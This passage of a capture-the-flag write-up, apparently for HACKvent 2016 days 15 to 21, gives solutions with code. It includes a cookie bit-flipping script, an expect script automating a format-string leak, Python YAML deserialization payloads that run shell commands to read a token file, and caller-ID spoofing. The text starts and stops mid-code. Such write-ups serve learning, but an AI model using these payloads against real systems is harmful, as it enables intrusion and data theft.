def tobits(s): result = [] for c in s: bits = bin(ord(c))[2:] bits = '00000000'[len(bits):] + bits result.extend([int(b) for b in bits]) return result def frombits(bits): chars = [] for b in range(len(bits) / 8): byte = bits[b*8:(b+1)*8] chars.append(chr(int(''.join([str(bit) for bit in byte]), 2))) return ''.join(chars) res = fetch(URL, None, None) phpsessionid_cookie = dump_cookies() c_name = urllib.unquote(COOKIE_NAME).decode('utf8') c_value = urllib.unquote(COOKIE_VALUE).decode('utf8') bitz = tobits(c_value) #print len(bitz) i = len(bitz)-1 while(i>=0): # Save for easier restoring bitz_copy = list(bitz) #Flip bits tmp = int(bitz[i-1]) bitz[i-1] = int(bitz[i]) bitz[i] = int(tmp) print("".join(str(x) for x in bitz)) flipped_cookie = str(frombits(bitz)) print("[+] Try: " + flipped_cookie + " ...") res = fetch(URL_ADMIN, phpsessionid_cookie, flipped_cookie) page = dump_page(res) #print page if "User Role: Standard" not in page and "User Role: None" not in page: print("FOUND!!!") print(page) break bitz = bitz_copy i-=1
After successfully performing the bitflipping attack the page reveals a link to a png file containing a QR code:
HV16-R41n-d33r-8yt3-Fl1p-H4ck
Day 16 – Marshmallows:
type: “nomnomnom marhshmallow nomnomnom muffin%x was here”
Description:
There’s this guy Randy, he loves marshmallows and programming in python and C.
Prove him by hacking his server, that it’s not a good idea to code if you had too many marshmallows.
nc challenges.hackvent.hacking-lab.com 1033
marshmallows.py
Solution:
It’s obvious that the first stage is a format string vulnerability. With “%1$s” we can direct access a memory location, the next would be “%2$s” and so on… We need to find the random generated token to get further. It’s a bit hard to exploit, because when reading an uninitialised memory address the program crashes and we have to reconnect. And because it’s an interactive program, we also cannot just write a simple bash script which sends the commands directly as arguments.
I used “expect” to automate the format string exploitation, for every memory access we reconnect to the server so we don’t have the problem if the program crashes and closes the connection:
#!/usr/bin/expect -f # Search for token set times 0; while { $times < 300 } { # Connect to Server spawn nc challenges.hackvent.hacking-lab.com 1033 set nc_id $spawn_id expect -i $nc_id ">" send -i $nc_id "1\r" expect -i $nc_id "Please give me some marshmallows:" send -i $nc_id "%$times\$s\r" expect -i $nc_id ">" set times [ expr $times+1]; catch {close -i $nc_id} wait }
This way I found out the memory location of the random id is at “%294$s”.
The second stage is a YAML Exploit.
https://www.kevinlondon.com/2015/08/15/dangerous-python-functions-pt2.html
user_input: !!python/object/apply:subprocess.check_output [[ “ls”, “-la”, “/home/marshmallows”]]
Special here is, with the subprocess.check_output we don’t get a response, so I used the subprocess call instead:
user_input: !!python/object/apply:subprocess.call [[ “ls”, “-la”, “/home/marshmallows”]]
With the ls -l command I found the filename for the token and with the second command I could actually read it:
user_input: !!python/object/apply:subprocess.call [[ “cat”, “/home/marshmallows/5ae64891a82f2290f157e8fa419c2d3d”]]
The YAML requests have to be base64 encoded, I posted them unencoded for better readability.
HV16-m4rs-hm4l-l0wh-4x0r-sr0x
I wrote an auto-pwn script, which does all the steps automatically:
#!/usr/bin/expect -f # Debug exp_internal 0 # Connect to Server spawn nc challenges.hackvent.hacking-lab.com 1033 set nc_id $spawn_id # Read out the token (Found with bruteforcing, see while loop below) expect -i $nc_id ">" send -i $nc_id "1\r" expect -i $nc_id "Please give me some marshmallows:" send -i $nc_id "%294\$s\r" # Read out token #expect -i $nc_id -re MARSHMALLOW_TOKEN=\[a-zA-Z0-9-\]{36}\r expect -i $nc_id -re (\[a-zA-Z0-9-\]{36}) set token "$expect_out(0,string)" # Send the token expect -i $nc_id ">" send -i $nc_id "send_secret_marshmallows\r" expect -i $nc_id "Token:" send -i $nc_id "$token\r" expect -i $nc_id "Your secret marshmallows:" ################## # YAML Exploit # https://www.kevinlondon.com/2015/08/15/dangerous-python-functions-pt2.html # !!! check_output doesnt work, use "call" #user_input: !!python/object/apply:subprocess.call [[ "ls", "-la", "/home/marshmallows"]] #---> dXNlcl9pbnB1dDogISFweXRob24vb2JqZWN0L2FwcGx5OnN1YnByb2Nlc3MuY2FsbCBbWyAibHMiLCAiLWxhIiwgIi9ob21lL21hcnNobWFsbG93cyJdXQ== send -i $nc_id "dXNlcl9pbnB1dDogISFweXRob24vb2JqZWN0L2FwcGx5OnN1YnByb2Nlc3MuY2FsbCBbWyAibHMiLCAiLWxhIiwgIi9ob21lL21hcnNobWFsbG93cyJdXQ==\r" ################## # # Repeat with different payload to read out the actual file # expect -i $nc_id ">" send -i $nc_id "send_secret_marshmallows\r" expect -i $nc_id "Token:" send -i $nc_id "$token\r" expect -i $nc_id "Your secret marshmallows:" #user_input: !!python/object/apply:subprocess.call [[ "cat", "/home/marshmallows/5ae64891a82f2290f157e8fa419c2d3d"]] #---> dXNlcl9pbnB1dDogISFweXRob24vb2JqZWN0L2FwcGx5OnN1YnByb2Nlc3MuY2FsbCBbWyAiY2F0IiwgIi9ob21lL21hcnNobWFsbG93cy81YWU2NDg5MWE4MmYyMjkwZjE1N2U4ZmE0MTljMmQzZCJdXQ== send -i $nc_id "dXNlcl9pbnB1dDogISFweXRob24vb2JqZWN0L2FwcGx5OnN1YnByb2Nlc3MuY2FsbCBbWyAiY2F0IiwgIi9ob21lL21hcnNobWFsbG93cy81YWU2NDg5MWE4MmYyMjkwZjE1N2U4ZmE0MTljMmQzZCJdXQ==\r" expect -i $nc_id ">" catch {close -i $nc_id} wait
Day 17 – I want to play a Game:
Part 2
Description:
so, you enjoyed the first part? that was soooo 90ties – here is something more modern for you to play.
Gimme, gimme, GIMME!
Solution:
Another reverse engineering challenge.
While going through the assembly instructions I found out there is a CRC32 calculation of all the “fake_partx” strings, which are 5. After the calculations are done there are comparisons with CRC32 checksums and later on we can see there is a printf for HV16-part1-part2-part3-part4-part5. Therefore I came to the conclusion these checksums are the checksums of all the 5 parts we need for our nugget! The 5 checksums are 0xC82065C2, 0x94B12C65, 0x7A6CCECE, 0x9493866C and 0x0FAC9FA1.
As I learned in the Trivial Crypto Challenge (Day 07) 4 Byte CRC32 checksums are reversible:
http://www.danielvik.com/2010/10/calculating-reverse-crc.html
I used the reverseCRC tool and modified it so it would calculate the values we need. The main method in the ReverseCRC.cpp was adapted like this:
int main(void) { testOne(0x0, 0xC82065C2); testOne(0x0, 0x94B12C65); testOne(0x0, 0x7A6CCECE); testOne(0x0, 0x9493866C); testOne(0x0, 0x0FAC9FA1); return 0; }
Which results in this:
$ ./revcrc initial: 0x00000000 OK - bytes to add: { 0x38, 0x58, 0x39, 0x7a } initial: 0x00000000 OK - bytes to add: { 0x79, 0x6a, 0x4b, 0x57 } initial: 0x00000000 OK - bytes to add: { 0x39, 0x4d, 0x42, 0x54 } initial: 0x00000000 OK - bytes to add: { 0x31, 0x65, 0x61, 0x36 } initial: 0x00000000 OK - bytes to add: { 0x56, 0x59, 0x39, 0x6a }
And if we convert the bytes to ASCII we get our nugget:
HV16-8X9z-yjKW-9MBT-1ea6-VY9j
Day 18 – Calling Santa:
restricted to 1337s
Description:
Attention: this is not a toll-free number!
This challenge can be expensive, depending on your living country. Consider international dialing costs!
If you call from +41 76 000 00 00, you can have a nice talk and your wish will be fulfilled.
Solution:
1. Used a spoof service
https://www.spoofcard.com/
2. After trying around I found the right combination: 1-13-133-1337
Nugget:
HV16-PKPK-UKUK-AKAK-CKCK-FUCK
Day 19 – Zebra Code:
Get it straight
Description:
Get the key and the encrypted message.
Key and message links
Solution:
1. Map the vectors to the image
2. Go trough the lines and record every pixel if black/white
3. Finally generate barcode from the result
Solved this with the Bresenham’s line algorithm:
https://en.wikipedia.org/wiki/Bresenham’s_line_algorithm
#!/usr/bin/python import cv2 import numpy as np coords = [804, 409, 746, 430, 772, 395, 742, 379, 776, 340, 707, 346, 712, 383, 808, 325, 747, 291, 688, 331, 635, 406, 587, 325, 622, 312, 651, 279, 622, 307, 638, 347, 626, 412, 633, 454, 668, 418, 651, 381, 622, 412, 615, 313, 590, 402, 550, 352, 567, 370, 584, 344, 609, 275, 620, 323, 641, 282, 676, 302, 654, 323, 659, 363, 669, 400, 698, 359, 730, 359, 762, 340, 806, 360, 736, 390, 777, 388, 770, 419, 791, 412, 793, 387, 752, 402, 782, 362, 771, 321, 756, 344, 720, 317, 751, 310, 738, 262, 701, 242, 669, 296, 675, 337, 656, 376, 627, 399, 633, 347, 611, 323, 650, 283, 672, 262, 645, 293, 641, 322, 610, 352, 607, 375, 617, 410, 661, 353, 640, 328, 689, 275, 691, 319, 732, 315, 759, 352, 794, 319, 763, 368, 819, 355, 814, 305, 777, 284, 753, 352, 693, 368, 748, 304, 710, 281, 693, 317, 619, 310, 647, 340, 696, 321, 730, 276, 775, 268, 732, 311, 809, 318, 761, 373, 732, 349, 749, 316, 812, 323, 742, 302, 707, 326, 689, 258, 660, 308, 662, 361, 625, 429, 605, 391, 606, 340, 648, 281, 666, 309, 651, 330, 736, 277, 735, 312, 759, 339, 783, 264, 721, 271, 666, 323, 649, 328, 650, 274, 619, 278, 615, 318, 607, 398, 622, 438, 625, 391, 655, 409, 654, 326, 692, 329, 705, 290, 675, 305, 718, 239, 780, 300, 719, 316, 755, 292, 801, 334, 770, 336, 787, 360, 735, 365, 731, 393, 815, 380, 766, 368, 731, 353, 760, 341, 714, 328, 740, 308, 694, 306, 652, 330, 685, 274, 633, 296, 619, 320, 631, 357, 657, 323, 766, 305, 700, 250, 636, 343, 651, 392, 701, 367, 711, 287, 680, 356, 682, 288, 756, 278, 740, 241, 705, 284, 632, 286, 618, 311, 673, 311, 614, 335, 603, 455, 627, 409, 648, 439, 672, 392, 696, 368, 715, 384, 745, 352, 741, 301, 788, 298, 722, 281, 781, 343, 715, 338, 708, 280, 798, 295, 752, 274, 798, 285, 729, 322, 755, 363, 774, 295, 793, 332, 763, 341, 728, 420, 778, 420, 810, 406, 766, 389, 805, 382, 743, 413, 757, 372, 784, 331, 728, 366, 713, 328, 744, 310, 706, 288, 679, 346, 629, 365, 611, 325, 651, 333, 696, 265, 715, 291, 709, 339, 744, 277, 802, 293, 747, 307, 786, 324, 799, 366, 768, 327, 721, 380, 771, 288, 819, 319, 783, 326, 744, 310, 797, 362, 738, 340, 730, 393, 775, 366, 710, 340, 779, 291, 805, 342, 715, 266, 712, 352, 648, 420, 624, 363, 644, 276, 598, 319, 633, 312, 585, 359, 565, 306, 571, 346, 591, 410, 584, 327, 624, 319, 656, 303, 691, 330, 656, 372, 690, 318, 734, 313, 719, 269, 687, 270, 669, 299, 762, 274, 780, 299, 703, 304, 711, 342, 819, 329, 768, 287, 718, 335, 757, 343, 735, 262, 697, 249, 632, 351, 601, 354, 665, 243, 687, 241, 664, 300, 729, 260, 694, 321, 749, 298, 808, 290, 785, 326, 710, 276, 677, 294, 648, 333] def bresenham(x0, y0, x1, y1): """Yield integer coordinates on the line from (x0, y0) to (x1, y1). Input coordinates should be integers. The result will contain both the start and the end point. """ dx = x1 - x0 dy = y1 - y0 xsign = 1 if dx > 0 else -1 ysign = 1 if dy > 0 else -1 dx = abs(dx) dy = abs(dy) if dx > dy: xx, xy, yx, yy = xsign, 0, 0, ysign else: dx, dy = dy, dx xx, xy, yx, yy = 0, ysign, xsign, 0 D = 2*dy - dx y = 0 for x in range(dx + 1): yield x0 + x*xx + y*yx, y0 + x*xy + y*yy if D > 0: y += 1 D -= dx D += dy xy = [] binstr = [] img = cv2.imread('zebra4.png', cv2.IMREAD_GRAYSCALE) for i in range(0, len(coords)-3, 2): x1, y1 = coords[i:i+2] x2, y2 = coords[i+2:i+4] for x, y in list(bresenham(x1, y1, x2, y2)): binstr.append(str(int(img[y, x] > 128))) barcode = np.zeros((1000, len(binstr))) for i, v in enumerate(binstr): barcode[:, i:i+1] = v barcode = cv2.resize(barcode, (960, 540)) cv2.imshow('yo', barcode) cv2.waitKey(0)
@Thanks to orgalorg for the help!
Scanning the generated barcode gave us the nugget:
HV16-kW2j-jE4w-ykh6-aF7j-0rcQ
Day 20 – MitT:
Men in the Thing
Description:
You bought a very cool retro weather station.
- It shows an ascii fire place (small or large fire according to the weather situation)
- It connects to the internet (using WLAN) to fetch the actual weather and the weather forecast for your place (configurable)
- It has a standby mode. The display is switched off if you are not around (detecting the MAC-Address of your mobile phone)
- Many more cool features
But there is an undocumented feature: It will collect data of your local wlan, your settings to the weather station and knows, if someone is around. The weather station will leak this collected data. It also has a backdoor.
Tasks:
- Download the virtualized retro weather station.
- Run it and find the poorly crafted port-knocking mechanism
- Follow the instructions
- Instead of leaking data or the opening of a reverse shell, the flag will be leaked
Load weather stations
I actually solved this challenge twice. 🙂
Solution 1:
– I dumped the knocker binary from the running vm with “nc”
– I reverse engineered it with Hopper and found this code:
for (i=0;i<30;i++): x_$i = i+ 0x804a078 |* i+0x804058
– I copied the 30 values from the hexdump of both addresses into two files
– Then I wrote a script to OR all the lines
#!/bin/bash chr() { [ "$1" -lt 256 ] || return 1 printf "\\$(printf '%03o' "$1")" } i=1 code="" while [ "$i" -lt "31" ];do first=`head -"$i" addresses_1.txt | tail -1 | awk '{print $3}'` second=`head -"$i" addresses_2.txt | tail -1 | awk '{print $3}'` #echo $((first | second)) code=$code`chr $((first | second))` i=$((i+1)) done echo $code
HV16-aBB9-Gis5-RMu2-parP-ckoj
Solution 2:
– I made the VM accessible from my host
– Implemented port knocking in python
#!/usr/bin/python import time import socket import sys def connect(prt): s = socket.socket() s.settimeout(1) s.connect((host, int(prt))) response = s.recv(1024).decode('utf8').strip("\n").strip("\r") s.close() print("[+] " + response) return [response.split()[1], response.split()[3]] def sleep(secs): sleep(secs) host = sys.argv[1] port = sys.argv[2] res = connect(port) port = res[0] t = res[1] while True: print("... Sleep " + t + "s and connect to port '" + port + "' ...\n") try: val = int(t) val = int(port) except ValueError: print("Error or finished") break; time.sleep(int(t)) res = connect(int(port)) port = res[0] t = res[1]
HV16-aBB9-Gis5-RMu2-parP-ckoj
Day 21 – Debug me:
if you can
Description:
Santa tried to hide todays Flag with some special Tricks – but probably special tools will help you to recover it.
ok, will try it!
Solution:
This was a hard one, took me quite some time to solve it!
The first step was to be able to run the executable in a debugger without the anti-debugging mechanism kicking in. After some research I found out, that CheatEngine would run it without the process being killed. Now we can debug the program!
With reversing and debugging the file I found out first of all the program checks if the string entered starts with “HV16-“. Then two algorithms are used to check if the nugget is the correct one. The first one I could not identify. The second one is sha1.
If we enter the Flag “HV16-aaaa-bbbb-cccc-dddd-eeee” the first algorithm is first used for the string “aaaabbbb” and again for “ccccdddd”. SHA1 is used in the end for “dddd-eeee”. “aaaabbbb” is compared against the checksum “5D 0A B8 FB 9B 3A 3A EA”, “ccccdddd” is compared against “5A 25 23 88 32 36 86 02” and the sha1 hash is “dde8d5128cf7a04e047c58395d2f119d56f0e1a4”.
I first wrote a python script to reproduce the first algorithm and then a second one to reverse it, to get the initial values back.
Algorithm:
#!/usr/bin/python lookup_table = [0x20, 0x89, 0xEF, 0xBC, 0x66, 0x7D, 0xDD, 0x48, 0xD4, 0x44, 0x51, 0x25, 0x56, 0xED, 0x93, 0x95, 0x46, 0xE5, 0x11, 0x7C, 0x73, 0xCF, 0x21, 0x14, 0x7A, 0x8F, 0x19, 0xD7, 0x33, 0xB7, 0x8A, 0x8E, 0x92, 0xD3, 0x6E, 0xAD, 0x01, 0xE4, 0xBD, 0x0E, 0x67, 0x4E, 0xA2, 0x24, 0xFD, 0xA7, 0x74, 0xFF, 0x9E, 0x2D, 0xB9, 0x32, 0x62, 0xA8, 0xFA, 0xEB, 0x36, 0x8D, 0xC3, 0xF7, 0xF0, 0x3F, 0x94, 0x02, 0xE0, 0xA9, 0xD6, 0xB4, 0x3E, 0x16, 0x75, 0x6C, 0x13, 0xAC, 0xA1, 0x9F, 0xA0, 0x2F, 0x2B, 0xAB, 0xC2, 0xAF, 0xB2, 0x38, 0xC4, 0x70, 0x17, 0xDC, 0x59, 0x15, 0xA4, 0x82, 0x9D, 0x08, 0x55, 0xFB, 0xD8, 0x2C, 0x5E, 0xB3, 0xE2, 0x26, 0x5A, 0x77, 0x28, 0xCA, 0x22, 0xCE, 0x23, 0x45, 0xE7, 0xF6, 0x1D, 0x6D, 0x4A, 0x47, 0xB0, 0x06, 0x3C, 0x91, 0x41, 0x0D, 0x4D, 0x97, 0x0C, 0x7F, 0x5F, 0xC7, 0x39, 0x65, 0x05, 0xE8, 0x96, 0xD2, 0x81, 0x18, 0xB5, 0x0A, 0x79, 0xBB, 0x30, 0xC1, 0x8B, 0xFC, 0xDB, 0x40, 0x58, 0xE9, 0x60, 0x80, 0x50, 0x35, 0xBF, 0x90, 0xDA, 0x0B, 0x6A, 0x84, 0x9B, 0x68, 0x5B, 0x88, 0x1F, 0x2A, 0xF3, 0x42, 0x7E, 0x87, 0x1E, 0x1A, 0x57, 0xBA, 0xB6, 0x9A, 0xF2, 0x7B, 0x52, 0xA6, 0xD0, 0x27, 0x98, 0xBE, 0x71, 0xCD, 0x72, 0x69, 0xE1, 0x54, 0x49, 0xA3, 0x63, 0x6F, 0xCC, 0x3D, 0xC8, 0xD9, 0xAA, 0x0F, 0xC6, 0x1C, 0xC0, 0xFE, 0x86, 0xEA, 0xDE, 0x07, 0xEC, 0xF8, 0xC9, 0x29, 0xB1, 0x9C, 0x5C, 0x83, 0x43, 0xF9, 0xF5, 0xB8, 0xCB, 0x09, 0xF1, 0x00, 0x1B, 0x2E, 0x85, 0xAE, 0x4B, 0x12, 0x5D, 0xD1, 0x64, 0x78, 0x4C, 0xD5, 0x10, 0x53, 0x04, 0x6B, 0x8C, 0x34, 0x3A, 0x37, 0x03, 0xF4, 0x61, 0xC5, 0xEE, 0xE3, 0x76, 0x31, 0x4F, 0xE6, 0xDF, 0xA5, 0x99, 0x3B, 0xC8, 0x00, 0x00, 0x00, 0x57, 0x56, 0x51, 0x8B, 0x75, 0x08, 0xBF, 0x9C, 0x40, 0x40, 0x00, 0xB9, 0x0F, 0x00, 0x00, 0x00, 0x57, 0xFC, 0xF3, 0xA4, 0x5E, 0xB9, 0x2D, 0x00, 0x00, 0x00, 0xF3, 0xA4, 0x59, 0x5E, 0x5F, 0xC9, 0xC2, 0x04, 0x00, 0xC8, 0x00, 0x00, 0x00, 0x60, 0xB8, 0x0B, 0x00, 0x00, 0x00, 0x8B, 0x75, 0x08, 0xBF, 0x9C, 0x40, 0x40, 0x00, 0x33, 0xD2, 0x8A, 0x1C, 0x06, 0x40, 0x88, 0x1F, 0x3C, 0x0F, 0x75, 0x02, 0x33, 0xC0, 0x47, 0x8A, 0x1C, 0x06, 0x40, 0x88, 0x1F, 0x3C, 0x0F, 0x75, 0x02, 0x33, 0xC0, 0x47, 0x8A, 0x1C, 0x06, 0x40, 0x88, 0x1F, 0x3C, 0x0F, 0x75, 0x02, 0x33, 0xC0, 0x47, 0x8A, 0x1C, 0x06, 0x88, 0x1F, 0x47, 0x83, 0xC0, 0x09, 0xF6, 0x35, 0x6E, 0x12, 0x40, 0x00, 0x0F, 0xB6, 0xC4, 0x3C, 0x0C, 0x74, 0x22, 0x8A, 0x1C, 0x06, 0x40, 0x88, 0x1F, 0x47, 0x8A, 0x1C, 0x06, 0x40, 0x88, 0x1F, 0x47, 0x8A, 0x1C, 0x06, 0x88, 0x1F, 0x47, 0x83, 0xC0, 0x09, 0xF6, 0x35, 0x6E, 0x12, 0x40, 0x00, 0x0F, 0xB6, 0xC4, 0xEB, 0xA1, 0x61, 0xC9, 0xC2, 0x04, 0x00, 0x0F, 0x50, 0x51, 0x57, 0x33, 0xC0, 0xB9, 0x0F, 0x00, 0x00, 0x00, 0xBF, 0x9C, 0x40, 0x40, 0x00, 0xFC, 0xF3, 0xAB, 0x5F, 0x59, 0x58, 0xC3, 0xC7, 0x05, 0x9C, 0x42, 0x40, 0x00, 0x01, 0x23, 0x45, 0x67, 0xC7, 0x05, 0xA0, 0x42, 0x40, 0x00, 0x89, 0xAB, 0xCD, 0xEF, 0xC7, 0x05, 0xA4, 0x42, 0x40, 0x00, 0xFE, 0xDC, 0xBA, 0x98, 0xC7, 0x05, 0xA8, 0x42, 0x40, 0x00, 0x76, 0x54, 0x32, 0x10, 0xC7, 0x05, 0xAC, 0x42, 0x40, 0x00, 0xF0, 0xE1, 0xD2, 0xC3, 0xC3, 0xC8, 0x08, 0x00, 0x00, 0x8B, 0x4D, 0x0C, 0x8B, 0xC1, 0xC1, 0xE8, 0x06, 0xA3, 0xCC, 0x42, 0x40, 0x00, 0xB8, 0x38, 0x00, 0x00, 0x00, 0x83, 0xE1, 0x3F, 0x83, 0xF9, 0x38, 0x73, 0x13, 0xC7, 0x05, 0x98, 0x42, 0x40, 0x00, 0x01, 0x00, 0x00, 0x00, 0xC7, 0x45, 0xF8, 0x38, 0x00, 0x00, 0x00, 0xEB, 0x14, 0xC7, 0x05, 0x98, 0x42, 0x40, 0x00, 0x02, 0x00, 0x00, 0x00, 0x83, 0xC0, 0x40, 0xC7, 0x45, 0xF8, 0x78, 0x00, 0x00, 0x00, 0x2B, 0xC1, 0x89, 0x4D, 0xFC, 0x8B, 0x75, 0x08, 0xBF, 0x18, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xCC, 0x42, 0x40, 0x00, 0x03, 0xC9, 0x8B, 0xD1, 0x03, 0xD2, 0x8D, 0x0C, 0x4A, 0x8D, 0x34, 0xCE, 0x50, 0xFF, 0x75, 0xFC, 0x56, 0x57, 0xE8, 0x7F, 0x28, 0x00, 0x00, 0x03, 0x7D, 0xFC, 0x68, 0x00, 0x40, 0x40, 0x00, 0x57, 0xE8, 0x71, 0x28, 0x00, 0x00, 0x8B, 0x4D, 0x0C, 0x8B, 0xD1, 0x81, 0xE2, 0x00, 0x00, 0x00, 0xE0, 0x0F, 0xCA, 0xC1, 0xE1, 0x03, 0x89, 0x0D, 0xC4, 0x42, 0x40, 0x00, 0x89, 0x15, 0xC8, 0x42, 0x40, 0x00, 0x8B, 0x55, 0xF8, 0xA1, 0xC8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xC4, 0x42, 0x40, 0x00, 0x0F, 0xC8, 0x0F, 0xC9, 0x89, 0x82, 0x18, 0x42, 0x40, 0x00, 0x89, 0x8A, 0x1C, 0x42, 0x40, 0x00, 0xC9, 0xC2, 0x08, 0x00, 0xFF, 0x35, 0x9C, 0x42, 0x40, 0x00, 0x8F, 0x05, 0xB0, 0x42, 0x40, 0x00, 0xFF, 0x35, 0xA0, 0x42, 0x40, 0x00, 0x8F, 0x05, 0xB4, 0x42, 0x40, 0x00, 0xFF, 0x35, 0xA4, 0x42, 0x40, 0x00, 0x8F, 0x05, 0xB8, 0x42, 0x40, 0x00, 0xFF, 0x35, 0xA8, 0x42, 0x40, 0x00, 0x8F, 0x05, 0xBC, 0x42, 0x40, 0x00, 0xFF, 0x35, 0xAC, 0x42, 0x40, 0x00, 0x8F, 0x05, 0xC0, 0x42, 0x40, 0x00, 0x8B, 0x07, 0x0F, 0xC8, 0xA3, 0xD8, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x04, 0x0F, 0xC8, 0xA3, 0xDC, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x08, 0x0F, 0xC8, 0xA3, 0xE0, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x0C, 0x0F, 0xC8, 0xA3, 0xE4, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x10, 0x0F, 0xC8, 0xA3, 0xE8, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x14, 0x0F, 0xC8, 0xA3, 0xEC, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x18, 0x0F, 0xC8, 0xA3, 0xF0, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x1C, 0x0F, 0xC8, 0xA3, 0xF4, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x20, 0x0F, 0xC8, 0xA3, 0xF8, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x24, 0x0F, 0xC8, 0xA3, 0xFC, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x28, 0x0F, 0xC8, 0xA3, 0x00, 0x41, 0x40, 0x00, 0x8B, 0x47, 0x2C, 0x0F, 0xC8, 0xA3, 0x04, 0x41, 0x40, 0x00, 0x8B, 0x47, 0x30, 0x0F, 0xC8, 0xA3, 0x08, 0x41, 0x40, 0x00, 0x8B, 0x47, 0x34, 0x0F, 0xC8, 0xA3, 0x0C, 0x41, 0x40, 0x00, 0x8B, 0x47, 0x38, 0x0F, 0xC8, 0xA3, 0x10, 0x41, 0x40, 0x00, 0x8B, 0x47, 0x3C, 0x0F, 0xC8, 0xCC, 0x14, 0x41, 0x40, 0x00, 0xA1, 0x0C, 0x41, 0x40, 0x00, 0x33, 0x05, 0xF8, 0x40, 0x40, 0x00, 0x33, 0x05, 0xE0, 0x40, 0x40, 0x00, 0x33, 0x05, 0xD8, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x18, 0x41, 0x40, 0x00, 0xA1, 0x10, 0x41, 0x40, 0x00, 0x33, 0x05, 0xFC, 0x40, 0x40, 0x00, 0x33, 0x05, 0xE4, 0x40, 0x40, 0x00, 0x33, 0x05, 0xDC, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x1C, 0x41, 0x40, 0x00, 0xA1, 0x14, 0x41, 0x40, 0x00, 0x33, 0x05, 0x00, 0x41, 0x40, 0x00, 0x33, 0x05, 0xE8, 0x40, 0x40, 0x00, 0x33, 0x05, 0xE0, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x20, 0x41, 0x40, 0x00, 0xA1, 0x18, 0x41, 0x40, 0x00, 0x33, 0x05, 0x04, 0x41, 0x40, 0x00, 0x33, 0x05, 0xEC, 0x40, 0x40, 0x00, 0x33, 0x05, 0xE4, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x24, 0x41, 0x40, 0x00, 0xA1, 0x1C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x08, 0x41, 0x40, 0x00, 0x33, 0x05, 0xF0, 0x40, 0x40, 0x00, 0x33, 0x05, 0xE8, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x28, 0x41, 0x40, 0x00, 0xA1, 0x20, 0x41, 0x40, 0x00, 0x33, 0x05, 0x0C, 0x41, 0x40, 0x00, 0x33, 0x05, 0xF4, 0x40, 0x40, 0x00, 0x33, 0x05, 0xEC, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x2C, 0x41, 0x40, 0x00, 0xA1, 0x24, 0x41, 0x40, 0x00, 0x33, 0x05, 0x10, 0x41, 0x40, 0x00, 0x33, 0x05, 0xF8, 0x40, 0x40, 0x00, 0x33, 0x05, 0xF0, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x30, 0x41, 0x40, 0x00, 0xA1, 0x28, 0x41, 0x40, 0x00, 0x33, 0x05, 0x14, 0x41, 0x40, 0x00, 0x33, 0x05, 0xFC, 0x40, 0x40, 0x00, 0x33, 0x05, 0xF4, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x34, 0x41, 0x40, 0x00, 0xA1, 0x2C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x18, 0x41, 0x40, 0x00, 0x33, 0x05, 0x00, 0x41, 0x40, 0x00, 0x33, 0x05, 0xF8, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x38, 0x41, 0x40, 0x00, 0xA1, 0x30, 0x41, 0x40, 0x00, 0x33, 0x05, 0x1C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x04, 0x41, 0x40, 0x00, 0x33, 0x05, 0xFC, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x3C, 0x41, 0x40, 0x00, 0xA1, 0x34, 0x41, 0x40, 0x00, 0x33, 0x05, 0x20, 0x41, 0x40, 0x00, 0x33, 0x05, 0x08, 0x41, 0x40, 0x00, 0x33, 0x05, 0x00, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x40, 0x41, 0x40, 0x00, 0xA1, 0x38, 0x41, 0x40, 0x00, 0x33, 0x05, 0x24, 0x41, 0x40, 0x00, 0x33, 0x05, 0x0C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x04, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x44, 0x41, 0x40, 0x00, 0xA1, 0x3C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x28, 0x41, 0x40, 0x00, 0x33, 0x05, 0x10, 0x41, 0x40, 0x00, 0x33, 0x05, 0x08, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x48, 0x41, 0x40, 0x00, 0xA1, 0x40, 0x41, 0x40, 0x00, 0x33, 0x05, 0x2C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x14, 0x41, 0x40, 0x00, 0x33, 0x05, 0x0C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x4C, 0x41, 0x40, 0x00, 0xA1, 0x44, 0x41, 0x40, 0x00, 0x33, 0x05, 0x30, 0x41, 0x40, 0x00, 0x33, 0x05, 0x18, 0x41, 0x40, 0x00, 0x33, 0x05, 0x10, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x50, 0x41, 0x40, 0x00, 0xA1, 0x48, 0x41, 0x40, 0x00, 0x33, 0x05, 0x34, 0x41, 0x40, 0x00, 0x33, 0x05, 0x1C, 0x41, 0x40, 0x00, 0x3 3, 0x05, 0x14, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x54, 0x41, 0x40, 0x00, 0xA1, 0x4C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x38, 0x41, 0x40, 0x00, 0x33, 0x05, 0x20, 0x41, 0x40, 0x00, 0x33, 0x05, 0x18, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x58, 0x41, 0x40, 0x00, 0xA1, 0x50, 